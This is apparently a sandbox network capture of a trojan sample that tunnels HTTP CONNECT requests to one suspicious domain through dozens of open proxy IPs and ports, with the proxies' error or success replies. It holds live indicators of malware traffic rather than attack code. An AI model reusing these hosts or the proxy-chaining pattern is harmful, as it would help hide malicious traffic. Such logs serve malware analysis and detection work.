Feb 23, 2024 14:28:40.931212902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1797	192.168.2.8	54926	41.174.152.226	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.949567080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1798	192.168.2.8	54961	132.148.129.254	45366	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.973929882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.991965055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.038389921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.101079941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:05.100951910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:17.116592884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1799	192.168.2.8	55247	104.16.108.42	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.001595020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.089862108 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1800	192.168.2.8	55226	107.181.148.187	6047	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.012748003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.378349066 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1801	192.168.2.8	55210	49.228.131.169	5000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.012748003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1802	192.168.2.8	55277	104.19.85.214	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.033509970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.120872974 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1803	192.168.2.8	55297	185.162.228.170	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.034087896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.121854067 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1804	192.168.2.8	55062	192.252.216.81	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.038925886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1805	192.168.2.8	54915	72.195.114.169	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.059891939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1806	192.168.2.8	54994	178.249.218.34	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.070202112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1807	192.168.2.8	54982	189.240.60.163	9090	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.094831944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.415110111 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1808	192.168.2.8	55302	12.186.205.121	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.130291939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.256195068 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1809	192.168.2.8	55207	107.148.201.157	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.152622938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.179192066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1810	192.168.2.8	55285	91.189.177.186	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.198451042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.750113010 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:42 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1811	192.168.2.8	55213	188.166.197.129	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.228851080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1812	192.168.2.8	55294	45.11.95.165	5040	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.251672983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1813	192.168.2.8	55304	212.31.100.138	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.260425091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1814	192.168.2.8	55275	91.107.123.189	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.260428905 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:41.472073078 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1815	192.168.2.8	51906	193.239.56.84	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.263751030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1816	192.168.2.8	55035	80.80.162.81	10805	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.263832092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1817	192.168.2.8	55268	43.156.0.125	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.290761948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.179184914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.514432907 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Fri, 23 Feb 2024 13:28:42 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1818	192.168.2.8	55008	103.76.190.37	31756	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.292192936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1819	192.168.2.8	55141	106.74.26.26	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.329457998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.913789988 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1820	192.168.2.8	55242	103.153.232.41	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.329667091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.195027113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.398493052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.846374989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.585659027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:55.304156065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:00.007224083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1821	192.168.2.8	55255	113.143.37.82	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.330337048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.713476896 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1822	192.168.2.8	55306	5.44.42.82	10808	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.388876915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1823	192.168.2.8	54956	184.170.245.148	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.394439936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1824	192.168.2.8	54998	103.230.126.123	60511	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.456548929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.491862059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
